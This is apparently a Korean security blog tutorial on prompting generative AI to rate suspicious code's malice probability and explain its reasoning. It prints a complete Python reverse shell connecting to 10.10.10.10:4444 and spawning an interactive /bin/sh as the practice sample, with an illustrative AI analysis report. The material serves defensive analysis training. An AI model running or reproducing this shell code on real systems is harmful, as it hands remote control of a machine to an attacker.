안녕하세요, 보안에 진심인 여러분! 🕵️♂️
보안 관제나 침해 사고 대응 업무를 하다 보면, 혹은 인터넷에서 구한 오픈소스 코드를 보다가 "어? 이 코드 좀 쎄한데?" 싶은 순간이 찾아옵니다.
직접 한 줄 한 줄 분석하자니 시간이 너무 오래 걸리고, 그렇다고 그냥 실행해보기엔 너무 위험하죠. 바로 이럴 때, 우리의 똑똑한 비서 생성형 AI(ChatGPT, Claude, Gemini 등)를 활용하면 분석 시간을 획기적으로 줄일 수 있습니다.
단순히 "이거 바이러스야?"라고 묻는 건 하수! 🙅♂️ 오늘은 AI에게 코드를 입력하고, 악성 확률을 수치화하고, 그 논리적 근거까지 상세하게 보고받는 프롬프트 엔지니어링 기법을 실습해 보겠습니다.

1. 🎯 오늘의 목표
- 의심스러운 코드 조각을 AI에게 입력합니다.
- "악성일 확률(%)"과 "판단 근거"를 체계적으로 답변받습니다.
- AI가 분석한 내용을 바탕으로 실제 위험도를 판단합니다.
2. 🧪 실습 준비물
- 생성형 AI 모델: ChatGPT(GPT-4 권장), Claude 3, Gemini 등 무엇이든 좋습니다.
- 분석할 샘플 코드: (실습을 위해 아래에 간단한 '리버스 쉘' 예제 코드를 준비했습니다.)
⚠️ 주의: 아래 코드는 실습용으로 제공되는 공격 시뮬레이션 코드입니다. 절대로 실제 운영 환경이나 본인의 PC에서 실행하지 마세요! 눈으로만 보고 복사해서 AI에게 붙여넣기만 하세요.
[실습용 샘플 코드 (Python Reverse Shell)]
Python
import socket, subprocess, os
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
connect()
3. ⌨️ 실전 프롬프트 입력 (치트키 공개)
AI에게 훌륭한 대답을 얻으려면, 훌륭한 질문을 던져야 합니다. 아래 프롬프트를 복사해서 AI에게 입력해 보세요.
[ 📋 AI 입력 프롬프트 ]
역할: 당신은 20년 경력의 악성코드 분석가이자 보안 전문가입니다.
상황: 나는 사내 시스템에서 수상한 스크립트 파일을 발견했습니다. 이 코드가 악의적인 목적으로 작성되었는지 긴급히 확인해야 합니다.
요청사항: 아래 코드를 정밀 분석하고 다음 형식에 맞춰 보고서를 작성해 주세요.
- 악성 확률: (0% ~ 100% 사이로 수치화하여 표시)
- 판단 요약: 한 줄로 결론 요약 (예: "전형적인 리버스 쉘 공격 코드입니다.")
- 상세 근거 (3가지 이상): 코드가 위험하다고 판단한 기술적 이유를 함수나 라이브러리 명을 인용하여 설명하세요.
- 예상 피해: 이 코드가 실행되었을 때 시스템에 미치는 영향.
- MITRE ATT&CK 매핑: 관련된 전술/기법 ID가 있다면 명시하세요.
[분석할 코드] (여기에 위에서 복사한 실습용 샘플 코드를 붙여넣으세요)
4. 📊 AI 분석 결과 확인 및 해석
위 프롬프트를 입력하면, AI는 다음과 같이 소름 돋을 정도로 정확한 분석 결과를 내놓습니다. (실제 GPT-4급 모델의 예상 답변입니다.)
🤖 AI의 답변 예시
🚨 분석 보고서
1. 악성 확률: 99% (매우 위험)
2. 판단 요약: 공격자의 서버로 시스템 제어권을 넘겨주는 전형적인 파이썬 리버스 쉘(Reverse Shell) 코드입니다.
3. 상세 근거:
- Socket 연결 (socket.connect): 외부 IP(10.10.10.10)의 특정 포트(4444)로 네트워크 연결을 시도합니다. 이는 C2 서버 통신으로 의심됩니다.
- 입출력 리다이렉션 (os.dup2): 표준 입력(0), 표준 출력(1), 표준 에러(2)를 모두 소켓으로 복제합니다. 즉, 피해자 컴퓨터의 터미널 화면이 공격자에게 전송됩니다.
- 쉘 실행 (subprocess.call): /bin/sh -i를 통해 대화형 쉘을 실행하여, 공격자가 원격에서 명령어를 입력할 수 있게 만듭니다.
4. 예상 피해: 공격자가 원격에서 시스템의 관리자 권한을 탈취하거나, 내부망을 정찰하고, 추가 악성코드를 다운로드하여 랜섬웨어 감염이나 데이터 유출을 일으킬 수 있습니다.
5. MITRE ATT&CK 매핑:
- T1059.004: Command and Scripting Interpreter (Python)
- T1095: Non-Application Layer Protocol
5. 💡 꿀팁: "오탐(False Positive)"을 줄이는 법
AI는 가끔 정상적인 시스템 관리 도구도 악성코드로 오해할 수 있습니다. (예: 관리자가 원격 수리를 위해 만든 스크립트 등)
이럴 땐 프롬프트 끝에 한마디를 추가하세요:
단, 이 코드가 시스템 관리자가 합법적인 원격 제어를 위해 작성했을 가능성도 있나요?
만약 그렇다면 정상 코드와 악성 코드를 구분하는 문맥적 기준은 무엇인가요?
이렇게 물어보면 AI는 "인가된 IP 주소인지 확인하세요" 또는 "코드 서명이 있는지 확인하세요" 같은 추가적인 검증 포인트를 알려줍니다. 정말 똑똑하죠? 👍
6. 마무리 📝
오늘 실습을 통해 우리는 단 몇 초 만에 코드의 위험성을 99% 확신할 수 있게 되었습니다.
- 코드 준비 ➡️ 전문가 페르소나 부여 ➡️ 확률과 근거 요청
이 3단계 공식만 기억한다면, 여러분은 이제 어떤 낯선 코드를 만나도 당황하지 않고 빠르게 1차 분석을 마칠 수 있습니다. AI를 여러분의 든든한 '보안 파트너'로 활용해 보세요!
도움이 되셨다면 주변 동료들에게도 이 꿀팁을 공유해 주세요. 다음 시간에도 더 유익한 보안 실습으로 찾아오겠습니다! 안전한 하루 보내세요! 🛡️✨
'일반IT > IT보안' 카테고리의 다른 글
| [실습] 랜섬웨어의 뱃속을 들여다보자! 🕵️♂️ 헤더, IAT, 문자열 추출로 배우는 정적 분석 기초 (0) | 2025.12.14 |
|---|---|
| [정리] "AI가 범인이라는데, 진짜일까?" 🤔 AI 분석의 오탐(False Positive)과 인간의 역할 (0) | 2025.12.14 |
| [실습] "이거 아까 걔 아냐?" 👯♂️ 악성코드 원본 vs 변종, AI로 유전자 검사(유사도 분석) 하기 (0) | 2025.12.14 |
| [실습] 악성코드의 '지문'을 찾아라! 🕵️♂️ 고유 문자열 및 시그니처 추출 완벽 가이드 (1) | 2025.12.12 |
| [실습] "너, 행동이 좀 수상한데?" 🤨 정상 파일 vs 악성 파일, API 호출 비교로 잡아내기! (AI 활용법) (0) | 2025.12.12 |